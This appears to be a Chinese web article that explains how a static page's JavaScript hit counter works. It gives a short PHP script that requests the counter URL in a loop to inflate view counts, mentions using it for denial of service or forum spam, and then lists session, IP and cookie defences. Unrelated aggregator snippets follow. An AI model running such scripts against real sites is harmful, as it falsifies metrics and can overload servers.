PHP实现自动刷数和“灌水”机

计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:

计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:

<div align=center><SPAN class=Article_tdbgall>
作者:未知 文章来源:Meidi.NET
点击数:
<script language=’javascript’ src=../../’/Article/GetHits.ASP?ArticleID=759’></script>
更新时间:2005-5-27</SPAN>
</div>

  点击数后面是一个ASP文件去处理的,那么我打开这个文件看看:

document.write(’210’);

  是吧,就是GetHists.ASP文件处理ArticleID后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。

  坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个PHP程序来自动的去访问这个文件。

  PHP代码如下:

<?PHP
/* Access_url.PHP */
define(SUM, 1000); //需要访问的次数
define(L_TIME, 1000); //强制脚本执行的时间
define(S_TIME, 1); //每次访问之间休眠的时间
$url = "http://www.xxx.com/Article/GetHits.ASP?ArticleID=759"; //需要访问的地址
set_time_limit(L_TIME);

//访问指定URL函数
function Access_url($url)
{
 if ($url==’’) return false;
 $fp = fopen($url, ’r’) or exit(’Open url faild!’);
 if ($fp) {
  while (!feof($fp)) {
   $file = fgets($fp);
   echo $file."\n<p> </p>\n";
  }
  unset($file);
 }
}

//进行测试
for ($i=0; $i<SUM; $i++) {
 Access_url($url);
 sleep(S_TIME);
}
?>

  运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。

  防范方法:

  1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。

  2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。

  3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。

  还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。

时间: 2024-10-30 18:28:11

PHP实现自动刷数和“灌水”机的相关文章

待宰活牛被强行灌水数十公斤称为卖相更好

一根水管插进牛鼻子里灌水. 在宰牛前八九个小时,一伙牛贩子通过自来水龙头,强行往牛肚子里灌水数十公斤.有知情者称,牛贩子此举是为了让牛肉卖相更好.更重一些.有关部门表示,对于活牛屠宰前的灌水行为目前处于监管空白,无法进行查处 水管伸进牛肚强灌水 据知情者透露,在南宁市新阳路尾南宁五丰联合食品有限公司肉类加工分公司(下称五丰分公司)附近,有牛贩子每天给每头活牛强行灌水数十公斤,目的在于使牛看起来好看,增加牛肉重量.这一现象已经持续很长一段时间. "他们正在给牛灌水,已灌好几头了."7月1

从近期网站停止域名解析和关闭评论谈论坛防灌水

中介交易 SEO诊断 淘宝客 云主机 技术大厅 近期数家国内知名论坛和微博传出的消息让站长惊讶,因出现不良信息,包括新浪微博,化龙巷论坛在内的数家网站有的被禁止域名解析,数家微博暂停了评论功能,A5也进行了相关报道:<新浪和腾讯微博暂停评论功能>,网站如何防止灌水,严禁不良信息已经是多年来站长非常头疼的问题,在目前垂直类社区越来越火热的情况下,站长对社区倾注了诸多期望,今天我们就一起来全面讨论论坛的防灌水设置方法,选择的平台当然是我们最常用的DZ和PW程序. 一:目前程序后台设置的防灌水方法和

Discuz! X1.5高效防灌水之五套方案

中介交易 SEO诊断 淘宝客 云主机 技术大厅 广告灌水现象在目前各种站点当中都有愈演愈烈的趋势,一方面会严重影响站点内容定位,剔除广告灌水内容又会增加运营成本;另一方面,广告灌水中经常会出现一些和法律法规相抵触的违禁内容,一旦处理不及时会给站点主办方造成负面影响,甚至于网站关闭的严重影响.所以广告灌水和与之相关内容监管一直受到网站主办方的严重关注. 防广告灌水的难点是什么? 1.防灌水最大的难题是用户识别的问题 如果用户不能提供足够多的信息,你就没有办法识别它到底是灌水用户还是你的目标用户.如

UCenter Home防灌水设置图文攻略

UCenter Home是Comsenz公司发布的一款SNS建站系统,目前http://www.aliyun.com/zixun/aggregation/29707.html">最新版本是1.5.UCenter Home1.5中加强了网站防灌水功能,增加了如验证码个性提问.强制新用户激活邮箱等防灌水的设置,下面笔者就为大家详细的介绍下. 说明:您可以选择一些措施,来增加对灌水机的干扰,避免大量垃圾广告信息的产生,但这也会影响到新用户的使用体验. UCHome首页 => 设置 =>

灌水是社区的灵魂 海峡钓鱼论坛5周年记

社区 海峡钓鱼论坛(bbs.hx365.net),是我第一次办论坛,那是在2002年3月17日深夜.       为什么是深夜?没别的,就是睡不着,睡不着,总得做点什么吧?做什么呢?好事轮不到我,坏事又不敢,终于把想了一段时间还没有来得及实践的事做了,那就是bbs.hx365.net "海峡钓鱼论坛"诞生了.       为什么说想开一个论坛有一段时间了?说来话长,<海峡钓鱼>杂志我是几进几出,早在1998年的7月,当时在<海峡钓鱼>杂志时我就创办了"

水漫金山!教你用Photoshop制作灌水效果

内容提示:水的制作主要利用到了 Photoshop 中的"云彩"渲染滤镜和"海洋波纹"扭曲滤镜. 1.打开一个需要灌水的图片(图1). 2.新建一个文件,高度为所需添加水效果的两倍,宽度相同,执行菜单-滤镜-渲染-云彩,到菜单-图象-调整-自动对比度,(图2). 3.选择菜单-滤镜-扭曲-海洋波纹,将波幅的大小设置为10,波纹幅度设置为15,完成如(图3). 4.将此图象拖移到原先需要处理的图象中,按CTRL+T,将图象压缩到如(图4)并将此图层的不透明度降低到60

Asp防止留言灌水的实例代码

 asp防止留言灌水原理:在每次提交留言的时候,要输入随机生成的4位认证码.  以下代码用在ASP 生成随机4位数:  <% dim key randomize timer key=Int((8999)*Rnd +1000) %>  在表单里显示:  认证码:<%=key%> <input type="text" name="rekey" size="8" maxlength="4"> &l

Photoshop制作出灌水的效果

1.打开一个需要灌水的图片,(图1). 2.新建一个文件,高度为所需添加水效果的两倍,宽度相同,执行菜单-滤镜-渲染-云彩,到菜单-图象-调整-自动对比度,(图2). 3.选择菜单-滤镜-扭曲-海洋波纹,将波幅的大小设置为10,波纹幅度设置为15,完成如(图3). 4.将此图象拖移到原先需要处理的图象中,按CTRL+T,将图象压缩到如(图4)并将此图层的不透明度降低到60%. 5.先将此图层前面的眼睛关闭,将此图层隐藏,选择钢笔工具,沿着背景图案的水渠下部岩石的棱角边钩出需要灌水的区域,(图5)

Discuz!使用技巧:如何防止用户在论坛恶意灌水?

1:问:如果有注册机器人在http://www.aliyun.com/zixun/aggregation/29799.html">Discuz!论坛上批量注册用户怎么办? 答:以管理员身份登入Discuz!后台,依次 "Discuz! 选项 -->安全控制--> 启用验证码".将"新用户注册"选项前打勾,可有效防止注册机批量注册. 另外还可以设置注册限制:"Discuz! 选项-->注册与访问控制-->IP 注册间隔